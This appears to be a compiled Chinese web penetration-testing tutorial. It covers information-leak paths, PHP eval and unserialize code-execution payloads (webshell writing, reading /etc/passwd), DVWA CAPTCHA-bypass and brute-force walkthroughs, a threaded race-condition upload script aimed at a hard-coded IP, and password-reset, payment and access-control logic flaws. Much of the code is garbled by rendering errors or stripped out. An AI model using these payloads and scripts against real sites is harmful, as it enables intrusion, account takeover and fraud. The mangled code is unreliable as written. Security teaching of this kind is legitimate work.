敏感信息、暴力破解、逻辑漏洞、平行越权、水平越权

  1. 敏感信息泄露
    软件敏感信息
    复制代码
  • 操作系统版本
    可用namp扫描得知
  • 中间件的类型、版本
    http返回头
    404报错页面
    使用工具(如whatweb)
  • Web程序(cms类型及版本、敏感文件)
    可用whatweb、cms_identify
    复制代码
    Web敏感信息
    复制代码
  • phpinfo()信息泄漏
    http://[ip]/test.php和http://[ip]/phpinfo.php
  • 测试页面泄漏在外网
    test.cgi、phpinfo.php、info.php等
  • 编辑器备份文件泄漏在外网
    http://[ip]/.test.php.swp
    http://[ip]/test.php.bak
    http://[ip]/test.jsp.old
    http://[ip]/cgi~
    常见编辑器备份后缀
  • 版本管理工具(如git)文件信息泄漏
    http://[ip]/.git/config
    http://[ip]/CVS/Entriesp
    http://[ip]/.svn/entriesp
  • HTTP认证泄漏漏洞
    http://[ip]/basic/index.php
    Web目录开启了HTTP Basic认证,但未限制IP,导致可暴力破解账号、密码
  • 管理后台地址泄漏
    http://[ip]/login.php
    http://[ip]/admin.php
    http://[ip]/manager.php
    http://[ip]/admin_login.php
  • 泄漏员工邮箱、分机号码
    泄漏邮箱及分机号码可被社工,也可生成字典
  • 错误页面暴漏信息
    面熟sql错误、php错误、暴漏cms版本等
  • 探针文件
  • robots.txt
  • phpMyAdmin
  • 网站源码备份文件(www.rar/sitename.tar.gz/web/zip等)
  • 其他
    复制代码
    网络信息泄漏
  • DNS域传送漏洞
  • 运维监控系统弱口令、网络拓扑泄漏
    zabbix弱口令、zabbix sql注入等
    第三方软件应用
  • github上源码、数据库、邮箱密码泄漏
    搜类似:smtp 163 password关键字
  • 百度网盘被员工不小心上传敏感文件
  • QQ群被员工不小心上传敏感文件
    敏感信息搜集工具
    https://github.com/ring04h/weakfilescan
    https://github.com/lijiejie/BBScan
    whatweb
    dnsenum
    github
    示例
  1. 代码执行漏洞
    代码执行
    当应用在调用一些能将字符转化为代码的函数(如PHP中的eval)时,
    没有考虑用户是否能控制这个字符串,这就会造成代码执行漏洞。
    相关函数
    PHP:eval assert
    Python:exec
    asp:<%=CreateObject(“wscript.shell”).exec(“cmd.exe /c ipconfig”).StdOut.ReadAll()%>
    Java:没有类似函数,但采用的反射机制和各种基于反射机制的表达式引擎(OGNL、SpEL、MVEL等)有类似功能
    phpcms中的string2array函数
    这个函数可以将phpcms的数据库settings的字符串形式的数组内容转换为真实的数组

复制代码
array( //这个是字符串形式的数组,它并不是数组,而是字符串
‘upload_maxsize’ => ‘2048’,
‘upload_allowext’ => ‘jpg|jpeg|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf’,
‘watermark_enable’ => ‘1’,
‘watermark_minwidth’ => ‘300’,
‘watermark_minheight’ => ‘300’,
‘watermark_img’ => ‘/statics/images/water/mark.png’,
‘watermark_pct’ => ‘85’,
‘watermark_quality’ => ‘80’,
‘watermark_pos’ => ‘9’,
)

function string2array(KaTeX parse error: Expected '}', got 'EOF' at end of input: … //这个函数可以将字符串data转化为数组
if($data == ‘’)
return array();
@eval("$array = $data;");
return $array;
}
复制代码
漏洞危害
执行代码
让网站写shell
甚至控制服务器
漏洞分类(也是利用点)
执行代码的函数:eval、assert
callback函数:preg_replace + /e模式
反序列化:unserialize()(反序列化函数)
搭建环境实验
示例一

示例二

示例三

示例四

示例五
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
/e修正符使preg_replace()将replacement参数当作PHP 代码(在适当的逆向引用替换完之后)
复制代码

/e','$ret = "\\1"',$data); echo $ret; ?>

复制代码

具体操作
复制代码

一般找CMS相应版本漏洞,如ThinkPHP2.1

  • 一句话
    http://www.xxx.com/News/detail/id/{KaTeX parse error: Expected '}', got 'EOF' at end of input: {@eval(_POST[aa])}}
  • 得到当前路径
    http://www.xxx.com/News/detail/id/{${print(getcwd()))}}
  • 读文件
    http://www.xxx.com/News/detail/id/{KaTeX parse error: Expected '}', got 'EOF' at end of input: …e_get_contents(_POST[‘f’])))}}
    POST的数据为:f=/etc/passwd
  • 写shell
    http://www.xxx.com/News/detail/id/{KaTeX parse error: Expected '}', got 'EOF' at end of input: …e_put_contents(_POST[‘f’],KaTeX parse error: Expected 'EOF', got '}' at position 12: _POST[d])))}̲} POST的数据为:f=…_POST[‘aa’])?>
    复制代码
    漏洞防御
    1.使用json保存数组,当读取时就不需要使用eval了
    2.对于必须使用eval的地方,一定严格处理用户数据
    3.字符串使用单引号包括可控代码,插入前使用addslashes转义
    4.放弃使用preg_replace的e修饰符,使用preg_replace_callback()替换
    5.若必须使用preg_replace的e修饰符,则必用单引号包裹正则匹配出的对象
    关于反序列化漏洞
    序列化:使用函数serialize()可将实例序列化为字符串
    反序列化:使用函数unserialize()可将序列化的字符串还原
    若服务端有如下代码:

复制代码

file,$this->data); } } $d = $_REQUEST['str']; var_dump($d); echo "
"; $tc = unserialize(base64_decode($d)); var_dump($tc); ?>

复制代码
客户端可构造如下代码生成序列化后的字符串提交给服务端,
服务端就会生成文件xx.php,内容为

复制代码

file, $this->data); } } $f = new foo(); $f->file = "xx.php"; $f->data = "";
echo base64_encode(serialize($f));
3. 不安全的验证码

Insecure CAPTCHA

Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。但个人觉得,这一模块的内容叫做不安全的验证流程更妥当些,因为这块主要是验证流程出现了逻辑漏洞,谷歌的验证码表示不背这个锅。

1.png

reCAPTCHA验证流程

这一模块的验证码使用的是Google提供reCAPTCHA服务,下图是验证的具体流程。

1.png

服务器通过调用recaptcha_check_answer函数检查用户输入的正确性。

recaptcha_check_answer( p r i v k e y , privkey, privkey,remoteip, c h a l l e n g e , challenge, challenge,response)
参数 p r i v k e y 是 服 务 器 申 请 的 p r i v a t e k e y , privkey是服务器申请的private key , privkeyprivatekeyremoteip是用户的ip, c h a l l e n g e 是 r e c a p t c h a c h a l l e n g e f i e l d 字 段 的 值 , 来 自 前 端 页 面 , challenge 是recaptcha_challenge_field 字段的值,来自前端页面 , challengerecaptchachallengefieldresponse是 recaptcha_response_field 字段的值。函数返回ReCaptchaResponse class的实例,ReCaptchaResponse 类有2个属性 :

$is_valid是布尔型的,表示校验是否有效,

$error是返回的错误代码。

(ps:有人也许会问,那这个模块的实验是不是需要科学上网呢?答案是不用,因为我们可以绕过验证码)

下面对四种级别的代码进行分析。

Low

服务器端核心代码:

复制代码

is_valid ) { // What happens when the CAPTCHA was entered incorrectly $html .= "

The CAPTCHA was incorrect. Please try again.
"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user echo "

You passed the CAPTCHA! Click the button to confirm your changes.
"; } else { // Both new passwords do not match. $html .= "
Both passwords must match.
"; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysql_query( $insert ) or die( '
' . mysql_error() . '
' ); // Feedback for the end user echo "
Password Changed.
"; } else { // Issue with the passwords matching echo "
Passwords did not match.
"; $hide_form = false; } mysql_close(); } ?>

复制代码
可以看到,服务器将改密操作分成了两步,第一步检查用户输入的验证码,验证通过后,服务器返回表单,第二步客户端提交post请求,服务器完成更改密码的操作。但是,这其中存在明显的逻辑漏洞,服务器仅仅通过检查Change、step 参数来判断用户是否已经输入了正确的验证码。

漏洞利用

1.通过构造参数绕过验证过程的第一步

首先输入密码,点击Change按钮,抓包:

1.png

(ps:因为没有FQ,所以没能成功显示验证码,发送的请求包中也就没有recaptcha_challenge_field、recaptcha_response_field两个参数)

更改step参数绕过验证码:

1.png

修改密码成功:

1.png

2.由于没有任何的防CSRF机制,我们可以轻易地构造攻击页面,页面代码如下(详见CSRF模块的教程)。

复制代码

复制代码

当受害者访问这个页面时,攻击脚本会伪造改密请求发送给服务器。

1.png

美中不足的是,受害者会看到更改密码成功的界面(这是因为修改密码成功后,服务器会返回302,实现自动跳转),从而意识到自己遭到了攻击。

1.png

Medium

服务器端核心代码:

复制代码

is_valid ) { // What happens when the CAPTCHA was entered incorrectly $html .= "

The CAPTCHA was incorrect. Please try again.
"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user echo "

You passed the CAPTCHA! Click the button to confirm your changes.
"; } else { // Both new passwords do not match. $html .= "
Both passwords must match.
"; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if they did stage 1 if( !$_POST[ 'passed_captcha' ] ) { $html .= "

You have not passed the CAPTCHA.
"; $hide_form = false; return; } // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysql_query( $insert ) or die( '
' . mysql_error() . '
' ); // Feedback for the end user echo "
Password Changed.
"; } else { // Issue with the passwords matching echo "
Passwords did not match.
"; $hide_form = false; } mysql_close(); } ?>

复制代码

可以看到,Medium级别的代码在第二步验证时,参加了对参数passed_captcha的检查,如果参数值为true,则认为用户已经通过了验证码检查,然而用户依然可以通过伪造参数绕过验证,本质上来说,这与Low级别的验证没有任何区别。

漏洞利用

1.可以通过抓包,更改step参数,增加passed_captcha参数,绕过验证码。

抓到的包:

1.png

更改之后的包:

1.png

更改密码成功:

1.png

2.依然可以实施CSRF攻击,攻击页面代码如下。

复制代码


复制代码

当受害者访问这个页面时,攻击脚本会伪造改密请求发送给服务器。

1.png

不过依然会跳转到更改密码成功的界面。

1.png

High

服务器端核心代码:

复制代码

is_valid && ( $_POST[ 'recaptcha_response_field' ] != 'hidd3n_valu3' || $_SERVER[ 'HTTP_USER_AGENT' ] != 'reCAPTCHA' ) ) { // What happens when the CAPTCHA was entered incorrectly $html .= "

The CAPTCHA was incorrect. Please try again.
"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;"; $result = mysql_query( $insert ) or die( '
' . mysql_error() . '
' ); // Feedback for user echo "
Password Changed.
"; } else { // Ops. Password mismatch $html .= "
Both passwords must match.
"; $hide_form = false; } } mysql_close(); } // Generate Anti-CSRF token generateSessionToken(); ?>

复制代码
可以看到,服务器的验证逻辑是当$resp(这里是指谷歌返回的验证结果)是false,并且参数recaptcha_response_field不等于hidd3n_valu3(或者http包头的User-Agent参数不等于reCAPTCHA)时,就认为验证码输入错误,反之则认为已经通过了验证码的检查。

漏洞利用

搞清楚了验证逻辑,剩下就是伪造绕过了,由于$resp参数我们无法控制,所以重心放在参数recaptcha_response_field、User-Agent上。

第一步依旧是抓包:

1.png

更改参数recaptcha_response_field以及http包头的User-Agent:

1.png

密码修改成功:

1.png

Impossible

服务器端核心代码

复制代码
if( isset( $_POST[ ‘Change’ ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ ‘user_token’ ], $_SESSION[ ‘session_token’ ], ‘index.php’ );

// Hide the CAPTCHA form 
$hide_form = true; 

// Get input 
$pass_new  = $_POST[ 'password_new' ]; 
$pass_new  = stripslashes( $pass_new ); 
$pass_new  = mysql_real_escape_string( $pass_new ); 
$pass_new  = md5( $pass_new ); 

$pass_conf = $_POST[ 'password_conf' ]; 
$pass_conf = stripslashes( $pass_conf ); 
$pass_conf = mysql_real_escape_string( $pass_conf ); 
$pass_conf = md5( $pass_conf ); 

$pass_curr = $_POST[ 'password_current' ]; 
$pass_curr = stripslashes( $pass_curr ); 
$pass_curr = mysql_real_escape_string( $pass_curr ); 
$pass_curr = md5( $pass_curr ); 

// Check CAPTCHA from 3rd party 
$resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], 
    $_SERVER[ 'REMOTE_ADDR' ], 
    $_POST[ 'recaptcha_challenge_field' ], 
    $_POST[ 'recaptcha_response_field' ] ); 

// Did the CAPTCHA fail? 
if( !$resp->is_valid ) { 
    // What happens when the CAPTCHA was entered incorrectly 
    echo "

The CAPTCHA was incorrect. Please try again.
"; $hide_form = false; return; } else { // Check that the current password is correct $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute(); // Do both new password match and was the current password correct? if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) { // Update the database $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute(); // Feedback for the end user - success! echo "
Password Changed.
"; } else { // Feedback for the end user - failed! echo "
Either your current password is incorrect or the new passwords did not match.
Please try again.
"; $hide_form = false; } }

}

// Generate Anti-CSRF token
generateSessionToken();

?>
复制代码
可以看到,Impossible级别的代码增加了Anti-CSRF token 机制防御CSRF攻击,利用PDO技术防护sql注入,验证过程终于不再分成两部分了,验证码无法绕过,同时要求用户输入之前的密码,进一步加强了身份认证。

1.png

转载自:http://www.freebuf.com/articles/web/119692.html
4. DVWA亲测暴力破解
LOW等级

我们先用burpsuite抓包,因为burpsuite提供了暴力破解模块

我们先创建一个1.txt文件夹,把正确的账号密码写进去

我们输入 Username:1 Password:1 进行抓包,然后发送到intruder(攻击)模块

Sniper标签这个是我们最常用的,Sniper是狙击手的意思。这个模式会使用单一的payload【就是导入字典的payload】组。它会针对每个position中$$位置设置payload。这种攻击类型适合对常见漏洞中的请求参数单独地进行测试。攻击中的请求总数应该是position数量和payload数量的乘积。
Battering ram – 这一模式是使用单一的payload组。它会重复payload并且一次把所有相同的payload放入指定的位置中。这种攻击适合那种需要在请求中把相同的输入放到多个位置的情况。请求的总数是payload组中payload的总数。简单说就是一个playload字典同时应用到多个position中
Pitchfork – 这一模式是使用多个payload组。对于定义的位置可以使用不同的payload组。攻击会同步迭代所有的payload组,把payload放入每个定义的位置中。比如:position中A处有a字典,B处有b字典,则a【1】将会对应b【1】进行attack处理,这种攻击类型非常适合那种不同位置中需要插入不同但相关的输入的情况。请求的数量应该是最小的payload组中的payload数量
Cluster bomb – 这种模式会使用多个payload组。每个定义的位置中有不同的payload组。攻击会迭代每个payload组,每种payload组合都会被测试一遍。比如:position中A处有a字典,B处有b字典,则两个字典将会循环搭配组合进行attack处理这种攻击适用于那种位置中需要不同且不相关或者未知的输入的攻击。攻击请求的总数是各payload组中payload数量的乘积。

果然爆出了正确的账号跟密码

同样,我们也可以用python进行暴力破解:

Medium等级
经验证发现用LOW等级的方法依然可以进行暴力破解,但是明显可以感觉用的时间比LOW等级长
我们能来看一下源代码:
复制代码

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "

Welcome to the password protected area {$user}

"; echo " "; } else { // Login failed sleep( 2 ); echo "

Username and/or password incorrect.
"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

复制代码

中间有个sleep(2)的php函数,即是如果账号或者密码错误,程序停止运行两秒,导致medium等级的爆破所用时间更长

High等级

我们先来抓包看一下,输入username:1 password:1 ,抓到的包如图:

多了一个user_token的验证
我们来看一下源代码:
复制代码

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "

Welcome to the password protected area {$user}

"; echo " "; } else { // Login failed sleep( rand( 0, 3 ) ); echo "

Username and/or password incorrect.
"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>

复制代码

这里利用burp来爆破带有规律性的token验证:

1.抓包,选择Pitchfork(草叉模式),添加爆破的参数

2.在Options中找到Request Engine模块,把线程数设为1

3.在Options中找到Rediections模块,选择always,允许重定向

4.在Options中找到Grep-Extract模块,点击Add,并设置筛选条件,得到user_token。

5.在Payloads中为选择的参数设置字典

6.开始爆破

根据返回长度的大小,可以得到正确的用户密码

除了burpsuite爆破,也可以通过python脚本实现,鄙人较菜,代码不好看,但是经实验可以运行:

代码执行结果:

impossible等级
impossible几乎是不可能注入,我们来看一下代码
复制代码

prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch(); // Check to see if the user has been locked out. if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) { // User locked out. Note, using this method would allow for user enumeration! //echo "

This account has been locked due to too many incorrect logins.
"; // Calculate when the user would be allowed to login again $last_login = strtotime( $row[ 'last_login' ] ); $timeout = $last_login + ($lockout_time * 60); $timenow = time(); /* print "The last login was: " . date ("h:i:s", $last_login) . "
"; print "The timenow is: " . date ("h:i:s", $timenow) . "
"; print "The timeout is: " . date ("h:i:s", $timeout) . "
"; */ // Check to see if enough time has passed, if it hasn't locked the account if( $timenow < $timeout ) { $account_locked = true; // print "The account is locked
"; } } // Check the database (if username matches the password) $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR); $data->bindParam( ':password', $pass, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch(); // If its a valid login... if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) { // Get users details $avatar = $row[ 'avatar' ]; $failed_login = $row[ 'failed_login' ]; $last_login = $row[ 'last_login' ]; // Login successful echo "

Welcome to the password protected area {$user}

"; echo " "; // Had the account been locked out since last login? if( $failed_login >= $total_failed_login ) { echo "

Warning: Someone might of been brute forcing your account.

"; echo "

Number of login attempts: {$failed_login}.
Last login attempt was at: ${last_login}.

"; } // Reset bad login count $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } else { // Login failed sleep( rand( 2, 4 ) ); // Give the user some feedback echo "

Username and/or password incorrect.

Alternative, the account has been locked because of too many failed logins.
If this is the case, please try again in {$lockout_time} minutes.
"; // Update bad login count $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // Set the last login time $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>

复制代码
我们尝试输入错误的用户名跟密码:

发现再次尝试要等到15分钟后,果然是impossible等级,限制了暴力破解,多次尝试输入

所以说要防止暴力破解:

  1. 逻辑漏洞简介
    逻辑漏洞
    逻辑漏洞是一种业务逻辑上的设计缺陷,业务流存在问题。
    这里说一下密码找回漏洞、多线程条件竞争漏洞和支付漏洞。
    密码找回漏洞
    复制代码
    1、 测试流程

先尝试正确的密码找回流程,记录不同找回方式的所有数据包
分析数据包,找到有效数据部分
推测数据构造方法
构造数据包验证猜测

2、 分类

  • 邮箱找回
    一般是点击邮件中的链接后会转跳到修密码的页面,这就需要分析链接的token构造了,
    可以考虑是时间戳md5、用户名或邮箱和随机字符串md5等,一般是类似如下链接:
    http://domain/findpwd.php?u=xiaoming&token=MTIzQHFxLmNvbQ==
    http://domain/findpwd.php?id=374&token=2ad64bf14c714dbce88c7993663da7da
    当构造相应链接时就可以重置任意用户的密码
  • 手机短信找回
    短信找回一般就是4位或6位验证码,暴力猜测吧
  • 找回逻辑错误
    若恶意用户A用15123333333找回密码,此时收到验证码但不使用
    此时恶意用户A再用受害者B的手机号找回密码
    用户A在B的验证表单填入自己收到的验证码,发送
    此时跳转的修改密码页面修改的就是用户B的密码
  • 直接修改密码
    在修改密码时跳过选择找回方式,直接访问修改密码的页面进行修改
  • 本地验证
    随意输入一个验证码,开Burp抓包,forward,抓返回包,返回包里可能有一个flag字段,
    若flag的值为1则跳转到修改密码页面,所以只要修改返回包即可
  • 服务端将验证码返回给浏览器
    在点击获取验证码时,服务器会将验证码发送给浏览器,抓包即可
  • 验证码直接出现在url中
    当点击获取验证码时发出的请求链接中直接有code
  • 密保问题找回
    回答密保问题,有时一些答案就在html源码里
    复制代码
    多线程条件竞争漏洞
    多线程条件竞争漏洞是一种服务端的漏洞,服务端是并发处理用户请求的,
    若并发处理不当或相关操作逻辑设计有缺陷时就会产生一些安全问题。
    如文件上传和一些数据库操作
    文件上传
    复制代码
    //uploads.php代码如下,仅供测试:
$filename = $_FILES['myfile']['name']; if (is_uploaded_file($_FILES['myfile']['tmp_name'])){ if (!move_uploaded_file($_FILES['myfile']['tmp_name'],$path.$filename)){ die("error:can not move!"); } } else { die("error:not an upload file!"); } echo "file upload success.file path is: ".$path.$newfile."\n
"; if ($_FILES['myfile']['error']>0){ unlink($path.$newfile); die("Upload file error: "); } $ext = array_pop(explode(".",$_FILES['myfile']['name'])); if (!in_array($ext,$allowtype)){ unlink($path.$newfile); die("error:upload the file type is not allowed,delete the file!"); }

?>
复制代码
简单poc如下:
复制代码
#!/usr/bin/env python
#-- coding:utf-8 --

import requests
import threading
import time

“”"
200个线程上传文件aa.php,同时200个线程同时请求aa.php,aa.php中内容为

") ?>,

只要aa.php被请求成功就会生成内容为的php文件info.php
“”"

is_exit = False

def create_info():
global is_exit
while not is_exit:
url = “http://123.206.78.20/u/aa.php”
resp = requests.get(url)

def put_file():
global is_exit
file = {‘myfile’‘aa.php’,open(‘C:/Users/Administrator/Desktop/aa.php’),‘application/octet-stream’)}
upload_url = “http://123.206.78.20/u.php”
while not is_exit:
requests.post(upload_url,files=file)

def check_info():
global is_exit
print “start threading check info.php:”
url = “http://123.206.78.20/u/info.php”
while True:
print “check info.php…”
resp = requests.get(url)
if resp.status_code == 200:
is_exit = True
print “create file info.php success.”
break

for x in xrange(1,200):
t = threading.Thread(target=create_info)
t.setDaemon(True)
t.start()
print “start create_into threading %d” % x

for x in xrange(1,200):
t = threading.Thread(target=put_file)
t.setDaemon(True)
t.start()
print “start put_file threading %d” % x

t = threading.Thread(target=check_info)
t.setDaemon(True)
t.start()
try:
while t.isAlive():
pass
time.sleep(1)
except KeyboardInterrupt:
print ‘stopped by keyboard’
复制代码
数据库操作
在数据库进行update、delete等操作时使用多线程请求,可在一次
update时间内完成多次update,和上面的文件上传其实是一个原理
支付漏洞
复制代码
攻击者通过修改交易金额、交易数量等从而利用漏洞,
如Burp修改交易金额、使交易数量为负数或无限大等。

  • 在支付时直接修改数据包中的支付金额,实现小金额购买大金额商品
  • 修改购买数量,使之为负数,可购买负数量商品,从而扣除负积分,即增加积分,
    或使购买数量无限大,无限大时则程序可能处理出错,从而实现0金额支付
  • 请求重放,在购买成功后重放请求,可实现"一次购买对此收货"
    复制代码
    漏洞修复
    对于密码重置漏洞,可以使用复杂的token,使之不可被预测
    对于密码重置漏洞,校验refer,不使用本地校验等
    对于多线程竞争漏洞,文件移动一定在一切判断之后,对于数据库则可以设置锁
    对于支付漏洞,主要就是签名了,或者https
  1. Web渗透测试中常见逻辑漏洞解析与实战
    注:以下漏洞示例已由相关厂商修复,切勿非法测试!

0x01 漏洞挖掘

01 注册

注册中最常见的有两个,一个是恶意注册,另一个是账户遍历。一个好的注册界面应该是这样

或者这样的

而不是这样的

要么使用短信或邮箱进行验证,要么存在难以识别的验证码,使得注册的请求无法批量提交。那么账户遍历是什么意思呢?在注册的时候Web程序往往会有用户名或手机号(或其他什么)检测之类的步骤,以避免相同账号注册两次,比如一般会提示“***用户名已存在!”。我们就可以利用这个步骤去批量尝试一些用户名,如果提示已存在就说明存在这个用户,然后就可以用这个用户名进行下一步操作,比如登录爆破(直接爆破的话可能会提示“用户名或密码错误”,用已知用户名爆破就只需要关心密码问题了)和密码找回。

02 登录

登录里比较简单的一种的情况就是登录界面不存在验证码可以直接爆破,第二种就是存在验证码但可被绕过,第三种是第三方账户登录可被绕过,这里重点说第二和第三种的问题。

1、短信验证码

这种情况一般指4位数字验证码,且不限制错误次数。比如以某APP为例,短信登录界面如下

获取验证码后随意填写,抓包

然后在intruder里爆破

再用获得的验证码登录即可。

2、图形验证码

以ESPCMS V6的一个漏洞为例,在会员和后台登陆的地方对验证码识别的方式是可以绕过的,在文件/upload/interface/member.php 500行左右的位置是后台登陆检验验证码的地方:

看一下他检测验证码的方式,将输入的验证码与cookie中的值比较,这意味着什么?只要我们不改变cookie中的值以及输入的验证码的值,那么就可以绕过验证码识别。也就是说验证码是和cookie绑定的,如图所示只要刷新一下改变验证码下面的这条cookie就跟着变化。只要不改变这两个值就能使用一个验证码持续登陆,这样就能爆破了。

如果爆破的话还要解决另外一个问题,每个登陆界面只能请求一次,因为还有一个隐藏的token参数

这样的话就要每尝试一次动态获取这个token值,其中token中的值是和返回的PHPSESSID绑定的,所以这里同步获取PHPSESSID和token然后进行爆破。例如在burp中只需要更新post数据中tokenkey的值即可再次发包,但是并不会触发验证码错误。

漏洞利用程序如下:

爆破测试

3、第三方账户登录绕过

现在很多网站或APP都支持第三方账号登录,比如微信、微博,这些登录本身接口一般没什么问题,但是在使用的时候可能会出现逻辑错误,以知乎曾经爆出的一个漏洞为例,打开知乎客户端,用一个微博小号登录,拦截微博授权成功的请求地址:https://api.weibo.com/oauth2/sso_authorize?sflag=1,修改Response Body,将uid改成要登录的uid:

然后即可登录

知乎服务器端在拿到客户端提交的授权成功以后,还应该调用第3方平台的token校验,以微博为例子,应该再调用一次:https://api.weibo.com/2/account/get_uid.json,看拿到的uid是否和客户端提交的uid一致。另外登录位置也存在账号遍历的情况,比如有的登录逻辑是先判断是否存在这个用户名然后给予提示“用户名不存在”或不提示。

02 密码找回

密码找回的利用姿势比较多,还是先说验证码的问题。除了上节所说的4位验证码的可爆破的问题,还有验证码泄露、认证绕过、越权等问题。

1、验证码泄露

仍然以某APP为例

输入验证码、要找回的账号和手机号,点击“获取验证码”,同时拦截抓包,然后就可以在返回包中看到要认证的验证码,这样不用得到用户的手机,也能得到他的验证码

再输入密码即可找回。

2、验证码的认证绕过

以某网站为例,在密码找回界面,输入用户名和密码,点击获取验证码

验证码随便输,然后点击下一步,拦截返回包,

将status改为0,然后就可以进入密码修改界面

另外也存在替换手机号的情况,及将验证码发送到你替换的手机上,而找回的密码还是原来的账号。

2、邮箱弱token

有时候密码找回是通过邮箱链接来实现的,链接里一般会有一个与账号绑定的具有唯一性的认证参数,若这个参数能够被猜解就会产生问题,以一个奇虎360出现过的一个漏洞为例,先正常流程取回一次密码,查看邮箱,邮件内容类似:

猜测一下此处的流程,用户取回密码时,产生一个精确的时间戳,与帐号绑定,记录在某个密码重置库内,那么修改这个用户密码必须得知道这个时间戳才可以,看似合理,但程序员忽略了一个细节,就是假如这个时间戳是新生成得,在一定时间段内进行暴力猜解,很快就可以获取到这个有效得链接!以某账号为例,输入其邮箱找回密码,然后同时爆破找回密码的链接,点击访问

用修改的密码即可登录

4、越权修改

越权修改是指在密码找回的过程中将正在找回密码的账号替换为指定的账号并修改密码,以某邮箱系统的一个漏洞为例,使用手机找回的方法来验证

设置密码

提交的时候抓包,将userName改为想要修改的账户

在下一次的请求中再修改一次

然后使用修改的密码即可登录

03 越权

越权一般包括水平越权和垂直越权。

1、水平越权

水平越权:就是相同级别(权限)的用户或者同一角色不同的用户之间,可以越权访问、修改或者删除的非法操作。如果出现次漏洞,那么将可能会造成大批量数据泄露,严重的甚至会造成用户信息被恶意篡改。以某APP为例,在点击账户信息按钮时会返回当前账户的基本信息,如下是请求的数据包

返回的包为

如果直接修改Id,改为0001001238,那么注意看返回包

这里就是没有任何的身份认证,仅根据Id返回相应的数据,导致可以水平越权,查看他人的账户信息。再看另一个例子,以某网站为例,登录进入个人主页界面

在Firefox中修改uid的值即可进入他人账号

2、垂直越权

垂直越权:是不同级别之间或不同角色之间的越权;垂直越权又别分为向上越权与向下越权。比如,某些网站,像发布文章、删除文章等操作属于管理员该做的事情。假设一个匿名用户也可以做相同的事情,这就叫做向上越权;向下越权是一个高级用户可以访问低级用户信息(这也是不行的,这回暴漏用户的隐私)。以ZDSoft网站生成系统越权漏洞为例,比较老的一个洞,网站后台登录地址一般为:http://www.***.cn/admin/login.aspx

后台菜单地址为:

http://www.***.cn/admin/left.aspx

如果没有登录直接访问菜单地址js跳转到登录地址,但是禁用了浏览器js后就可以直接访问而不会跳转,比如访问用户管理界面

